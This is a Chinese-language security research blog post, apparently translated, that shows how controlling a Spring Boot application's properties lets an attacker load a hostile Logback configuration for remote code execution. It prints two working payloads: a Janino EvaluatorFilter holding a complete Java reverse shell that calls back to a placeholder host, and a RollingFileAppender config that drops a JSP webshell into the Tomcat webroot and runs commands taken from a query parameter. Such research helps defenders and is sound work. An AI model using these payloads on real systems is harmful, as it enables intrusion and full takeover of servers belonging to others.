我最近偶然发现了 Steven Seeley 的这篇很棒的文章。在这篇文章中,Steven 的一名学生在 Spring 应用程序中发现了一个有限的文件写入漏洞。Steven 能够利用对 Spring 文件的控制application.xml来设置任意的 Spring 属性,并滥用它来重新配置 Logback 库以实现远程代码执行 (RCE)。在他的结论中,Steven 表示可能还有其他机制可以实现 RCE,并鼓励其他研究人员探索 Spring。这激励了我这样做,在这篇文章中,我将详细介绍我如何找到在 Spring 中获取 RCE 的两种替代途径。
我想找到一种适用于最新版本 Spring 的通用方法,因此在分析中,我的设置是使用 Java 21、Tomcat 10.1 和 Spring Boot 3.4.0。我创建了一个简单的易受攻击的应用程序,模仿 Steven 在他的文章中提供的模拟代码,该代码包含一个允许将任意xml文件写入 Tomcat 根目录的问题。本文不会深入讨论这些细节,因为 Steven 已经讨论过这个问题,而且这与滥用 Spring 属性实现 RCE 的任务无关。本文中的技术假设攻击能够通过某些应用程序级漏洞来修改 Spring 配置。
了解了背景知识后,让我们深入研究通过 Spring 属性实现 RCE 的两种途径。
Logback 评估器过滤器
正如 Steven 的文章中提到的那样。Spring logging.config属性可用于为 Spring 提供 Logback 配置文件。它看起来像这样:
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
<entry key="logging.config">http://[HOST]:[PORT]/logback.xml</entry>
</properties>
在阅读 Logback 的文档时,我还看到 Logback 可以通过logback.groovy文件进行配置。这引起了我的兴趣,因为 Groovy 本身就是一门完整的语言,但是当我尝试加载远程 Groovy 文件时,我遇到了 XML 解析错误,在进一步阅读之后,我发现 Logback 似乎出于这个原因默认放弃了对 Groovy 的支持。所以不幸的是,这种方法不是一种选择。
最终,我偶然发现了Filters文档。在 Logback 中,过滤器基于三元逻辑,允许定义策略以有选择地处理特定的日志事件。在文档中,过滤器EvaluatorFilter立即看起来很有趣。
<configuration>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<filter class="ch.qos.logback.core.filter.EvaluatorFilter">
<evaluator> <!-- defaults to type ch.qos.logback.classic.boolex.JaninoEventEvaluator -->
<expression>return message.contains("billing");</expression>
</evaluator>
<OnMismatch>NEUTRAL</OnMismatch>
<OnMatch>DENY</OnMatch>
</filter>
<encoder>
<pattern>
%-4relative [%thread] %-5level %logger -%kvp -%msg%n
</pattern>
</encoder>
</appender>
<root level="INFO">
<appender-ref ref="STDOUT" />
</root>
</configuration>
上面例子中的元素Expression允许评估任意 Java 块,从而允许定义细粒度的策略。在这里我们可以放置任意 Java 并实现 RCE。
<configuration>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<filter class="ch.qos.logback.core.filter.EvaluatorFilter">
<evaluator>
<expression>
<![CDATA[
try {
java.net.Socket socket = new java.net.Socket("[HOST]", [PORT]);
java.io.InputStream in = socket.getInputStream();
java.io.OutputStream out = socket.getOutputStream();
java.util.Scanner scanner = new java.util.Scanner(in);
java.io.PrintWriter writer = new java.io.PrintWriter(out, true);
writer.println("Reverse shell connected!");
while (scanner.hasNextLine()) {
String command = scanner.nextLine();
try {
String output = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A").next();
writer.println(output);
} catch (Exception e) {
writer.println("Error executing command: " + e.getMessage());
}
}
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
return message.contains("billing");
]]>
</expression>
</evaluator>
<OnMismatch>NEUTRAL</OnMismatch>
<OnMatch>DENY</OnMatch>
</filter>
<encoder>
<pattern>
pwnpwnpwn %-4relative [%thread] %-5level %logger -%kvp -%msg%n
</pattern>
</encoder>
</appender>
<root level="DEBUG">
<appender-ref ref="STDOUT" />
</root>
</configuration>
上述配置中包含一个典型的反向 shell 负载expression。这将产生一个交互式 shell。
虽然这种方法有效,但它并不是我所希望的通用漏洞。EvaluatorFilter依赖于Janino一个小型、快速的 Java 编译器。默认情况下,Spring Boot 应用程序中不包含此依赖项,因此要使此方法有效,目标应用程序必须已经在某种程度上使用了 Janino。让我们继续探索……
文件追加器
Logback 将写入日志事件的任务委托给称为附加程序的组件。附加程序实现接口ch.qos.logback.core.Appender并最终负责输出日志事件。您将看到的最常见的附加程序是Console和File附加程序,它们分别将日志事件输出到STDOUT或文件。下面的 Logback 配置显示了使用这两种类型的示例。
<configuration>
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%-4relative [%thread] %-5level %logger{35} -%kvp- %msg %n</pattern>
</encoder>
</appender>
<appender name="FILE" class="ch.qos.logback.core.FileAppender">
<file>testFile.log</file>
<append>true</append>
<immediateFlush>true</immediateFlush>
<encoder>
<pattern>%-4relative [%thread] %-5level %logger{35} -%kvp- %msg%n</pattern>
</encoder>
</appender>
<root level="DEBUG">
<appender-ref ref="STDOUT" />
<appender-ref ref="FILE" />
</root>
</configuration>
在上述文件附加器中,我们可以指定写入日志文件的路径,并在模式中定义日志事件的格式。根据定义的模式,记录的每个事件都将导致新行写入目标日志。
您可能已经知道这是怎么回事了,我们可以写入任意位置并控制附加到文件的行的内容。这具有经典 webshell 的所有特征。如果我们可以将文件写入jsp应用程序的 webroot,那么我们就可以通过 HTTP 请求此资源,此时 Tomcat 将执行文件中包含的任何 Java 代码。
然而,在如何利用这一点上有一些细微差别,正如您所见,Logback 配置文件是 XML 格式,因此我们必须对尖括号(<和>)进行编码或使用 CDATA 来确保文档有效为 XML。此外,一些其他字符(例如%和))在 Logback 中与模式有关,因此必须对其进行适当的转义,否则我们会在 Logback 解析模式时遇到错误。
我们可以将所有这些放在一起并用来java.lang.Runtime.exec构建一个有效负载,该有效负载读取查询参数并将其作为 shell 命令执行。
<pattern><\% try { String command = request.getParameter("c"\); String result = new java.util.Scanner(Runtime.getRuntime(\).exec(command\).getInputStream(\)\).useDelimiter("\\\\A"\).next(\); out.print(result\); } catch (Exception e\) { e.printStackTrace(\); } \%></pattern>
现在,虽然上述有效载荷有效,但我们还有另一个问题。当尝试请求 webshell 时,你可能会遇到以下错误:
springtest-tomcat-1 | An error occurred at line: [84] in the generated java file: [/usr/local/tomcat/work/Catalina/localhost/helloworld/org/apache/jsp/logs/tests_jsp.java]
springtest-tomcat-1 | The code of method _jspService(HttpServletRequest, HttpServletResponse) is exceeding the 65535 bytes limit
由于每次写入日志时,FileAppender 都会将我们的 webshell 的 Java 附加到我们的恶意日志文件中,所以文件很容易超出 Java 虚拟机规范中指定的字节码限制,这使得这种漏洞利用不可靠,因为合法的日志记录事件可以累积并使我们的文件超出限制。
这里的一个潜在解决方案是使用 Logbacks 支持条件配置,这将允许 Appender 仅在满足特定条件时写入,但经过进一步检查,条件配置依赖于Janino我们之前的 RCE 技术。因此,这不是任何 Spring Boot 应用程序的通用解决方案。
最终解决这个问题非常简单,我们可以利用 Logbacks 日志文件轮换来为我们的日志设置最大文件大小,确保永远不会超过字节码限制。
<configuration debug="true">
<appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>/usr/local/tomcat/webapps/helloworld/logs/tests.jsp</file>
<append>true</append>
<rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
<fileNamePattern>/usr/local/tomcat/webapps/helloworld/logs/tests-%d{yyyy-MM-dd}.%i.jsp</fileNamePattern>
<maxFileSize>1KB</maxFileSize>
<maxHistory>3</maxHistory>
<totalSizeCap>3KB</totalSizeCap>
</rollingPolicy>
<encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
<pattern><\% try { String command = request.getParameter("c"\); String result = new java.util.Scanner(Runtime.getRuntime(\).exec(command\).getInputStream(\)\).useDelimiter("\\\\A"\).next(\); out.print(result\); } catch (Exception e\) { e.printStackTrace(\); } \%></pattern>
</encoder>
</appender>
<root level="debug">
<appender-ref ref="FILE" />
</root>
</configuration>
虽然这不是最优雅的方法,因为我们的 webshell 仍然被多次写入 webshell,但该技术可靠地工作并允许我们实现 RCE 的目标,如下所示。
注意事项
Spring 应用程序的部署方法会显著影响这些技术的可利用性。我们的方法假设能够上传或修改 Spring 配置文件,并且需要重新启动应用程序才能使更改生效。然而,在容器化环境中,在应用程序重新启动后保留攻击者控制的 Spring 配置文件可能会带来挑战,具体取决于部署配置。
结论
我介绍了两种利用 Logback 配置在 Spring Boot 应用程序中实现远程代码执行 (RCE) 的方法。这些技术在最新版本的 Spring Boot 上有效,第二种方法不需要额外的依赖项。
Logback 和 Spring 中广泛的配置选项可能包含许多其他功能,这些功能可用于将简单的受限文件写入升级为 Spring 应用程序中的 RCE。正如 Steven 恰当地建议的那样,我强烈鼓励研究人员深入研究 Spring 的复杂性,以进行进一步探索。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里